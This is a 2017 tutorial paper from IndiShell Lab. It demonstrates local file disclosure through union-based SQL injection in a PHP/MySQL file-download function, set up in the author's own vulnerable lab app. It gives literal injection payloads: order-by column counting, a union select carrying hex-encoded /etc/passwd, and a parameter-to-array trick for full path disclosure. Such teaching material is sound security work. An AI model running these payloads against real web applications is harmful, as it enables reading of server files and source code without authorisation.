Local File Disclosure using

SQL Injection
March 13, 2017

Manish Kishan Tanwar

From IndiShell Lab
https://twitter.com/IndiShell1046
Table of Contents
Acknowledgements.............................................................................................3

Introduction................................................................4

Lab Environment..................................................................................................4

Root cause of issue .............................................................................................5

Exploitation .........................................................................................................6

Local file disclosure using SQL Injection ..........................................................6

Finding column count ...............................................................6

Finding target column for file download ...........................................10

Acknowledgements............................................................................................15
About me..................................................................15
 Acknowledgements
Heartily Thanks to IndiShell/ICA crew and hacker fantastic for inspiration.

Special Dedications:
Zero cool, code breaker ICA, root_devil, google_warrior, INX_r0ot, Darkwolf indishell,
Baba, Silent poison India, Magnum sniper, ethicalnoob Indishell, Local root indishell, Irfninja
indishell, Reborn India,L0rd Crus4d3r,cool toad, Hackuin, Alicks,Gujjar PCP,Bikash,Dinelson
Amine,Th3 D3str0yer, SKSking, rad paul,Godzila,mike waals,zoo zoo,cyber warrior,shafoon,
Rehan manzoor, cyber gladiator,7he Cre4t0r,Cyber Ace, Golden boy INDIA,Ketan Singh, D2
Yash, Aneesh Dogra, AR AR, saad abbasi, hero, Minhal Mehdi, Raj bhai ji, Hacking queen,
lovetherisk, D3.
My Father, my Ex Teacher, cold fire hacker, Mannu, ViKi, Ashu bhai ji, Soldier Of God, Bhuppi,
Rafay Baloch, Mohit, Ffe, Ashish, Shardhanand, Budhaoo, Jagriti, Salty, Hacker fantastic,
Jennifer Arcuri and Don(Deepika kaushik), Govind
Introduction:
SQL Injection AKA mother of hacking is one of the notorious and well known
vulnerability which has caused lots of damage to cyber world. Researchers has
published lots of stuff on different-2 exploitation techniques for conducting
various type of attacks including accessing data stored in database,
reading/writing code from/to server using load and into outfile in MySQL,
performing command execution using SA account in MSSQL.
In this paper, we are going to exploit SQL Injection vulnerability in file
download function which download file from server on the basis of output
returned by vulnerable SQL query.
Lets consider scenario in which, there is one user supplied parameter which is
getting process in SQL query and after processing, SQL query is returning
location of the file. Now, lets suppose that value returned by SQL query is
getting pass to a function which download local file from server. In this case if
user input is not getting check by web application, in that case attacker can
easily manipulate SQL query to download any file from server with known
location (file must have read permission on it).
So in this paper I am going to demonstrate local file disclosure in PHP based
web application with MySQL database as backend. File download parameter is
vulnerable to SQL Injection.

Lab environment:
To work with this exploit, I have setup following things on my machine.
1. Web server (apache in my case)
2. PHP installation.
3. MySQL database
4. Sample vulnerable web application which you can get from my github
account. Here is one which is developed by me for demonstration: -
https://github.com/incredibleindishell/Local-file-disclosure-SQL-
Injection-Lab

Download sample code and create one user in MySQL server with
 Username=dsqli
Password=icadsqli
And database name = dsqli
To create database and user which will be having read permission on the
database, just follow given below process: -

-> Login to MySQL console with root account

Command to create new database: -

Create database dsqli;

Command to create user dsqli with password icadsqli which will be

having read/write permission on database dsqli: -

grant all on dsqli.* to dsqli@localhost IDENTIFIED BY 'icadsqli';

Once you have setup database and user account, just import the database
dump file (dsqli.sql which is available with the sample code) to database
dsqli.

Database is having 1 table: -

i) Download (column names are id, image_name and location)

Root cause of issue: -

This exploitation technique is applicable in specific case only when web
application file downloading function is relaying on the SQL query output.
Sample vulnerable code which is vulnerable to SQL Injection and SQL query
data is getting pass to file download function file_download.

In above code we can see, if any how we alter the query and SQL query return
$row[location] variable with value something which is having location of
server local file or web application source code file, file_download function will
download that file for us >:D< .
This thing can be easily achieved by injecting union based SQL query and
during injection, put full path (local) of the file which we want to download in
hex form.

Exploitation
1. Local file disclosure using SQL Injection : -
First of all, just figure out whether application is vulnerable to integer
based SQLI or string based SQLI. After that figure out number of column
in table queried by SQL statement.

In our case, SQL Injection point is vulnerable to Integer based SQL

Injection.

Finding Column count: -

Lets find out column count by fuzzing web application. To do it,
remember one thing if query executes properly and gives output, we will
get file download popup so to find column count we will inject order by
clause and will keep increasing the value in order by clause until web
application stop giving download popup.

Web application is having SQL injection in index.php page. File download

request on page
index.php
with parameters
image=1&image_download=Download
Now try to enumerate number of columns using order by clause.

Page Index.php
Post parameters
image=1 order by 1--&image_download=Download

Now inject parameter with order by 5--

Page index.php
Post parameters
image=1 order by 5--&image_download=Download
Web application is not prompting file download popup box when we
increased the value of order by clause from 1 to 5 which indicates that
number of column used by select statement is less than 5.

Lets try with order by 4

Page index.php
Post parameters
image=1 order by 4--&image_download=Download

Same error message, lets try value 3 in order by clause

Page index.php
Post parameters
image=1 order by 3--&image_download=Download

This time we got file download popup :D so finally we have figured out
that column count is 3.

Lets try to inject URL with union statement

Injected request will be: -

Page index.php
Post parameters
image=1 union select 1,2,3--&image_download=Download

This injected request is also giving us download popup >:D<

Finding target column for file download: -
Now we have column count and we need to figure out our target column
which will allow us to define path of the file. To do this, we need to put
hex value of file path (which we want to download) in column numbers
one by one till we find out the column number which will download file
defined by us.
Lets try to download /etc/passwd and in order to do so, first of all we
need to change the /etc/passwd string into hex value (I am using hex bar
addon in firefox). Add 0x with hex value of the string. We dont know the
column number which is getting used by web application to get the file
location, so will replace 1 in union select statement with hex value of
/etc/passwd (as given below in screenshot).

Now, current request is like this

Page index.php
Post parameters
image=1 union select 1,2,3--&image_download=Download

Change request to like this

Page index.php
Post parameters
image=1337 union select 1,2,3--&image_download=Download
We need to change actual value of vulnerable parameter to something non
existing value so that when real query executes with our injected query,
real query should not return anything and only our injected query should
return result. If we dont do this, we will keep getting popup of file which
we were getting with legitimate request (query without injection).

Ok lets see if injected query works well (if we have injected right column
which return file location to file download function) and web application is
giving us download popup for /etc/passwd file or not.

Request
Page index.php
Post parameters
image=1337 union select 0x2f6574632f706173737764,2,3--
&image_download=Download

Web application is prompting error message, means we need to check

other column instead of first one.
Lets check for column 2
Request will be

Page index.php
Post parameters
image=1337 union select 1,0x2f6574632f706173737764,3--
&image_download=Download

No success, need to check with third column.

Request with third column will be

Page index.php
Post parameters
image=1337 union select 1,2,0x2f6574632f706173737764--
&image_download=Download
And yes it worked 8-). Web application gave download popup for passwd
file when we injected union select statement having hex value of string
/etc/passwd in third column.

We ca download source code of web application too if we have path of the

web application files.
Lets say, in PHP, we can try to perform full path disclosure of scripts by
changing parameter types, means change string parameter to array or vice-
versa. My WINDOWS machine is having error reporting enabled by
default so consider it as test case of FPD (full path disclosure). In our case,
original request was

image=1&image_download=Download

change parameter image to array type

means, like this

image[]=1&image_download=Download
Now, we have full path of the script, so we can download this file too, we just
need to put hex value of file path in the column which will allow us to
download file.
Acknowledgements
Special thanks to IndiShell Crew and Myhackerhouse for inspiration.

About Me
Working as application security engineer and interested in exploit development.
Keep learning different-different things just not limited to single one.
My blog
http://mannulinux.blogspot.in/
My github account
https://github.com/incredibleindishell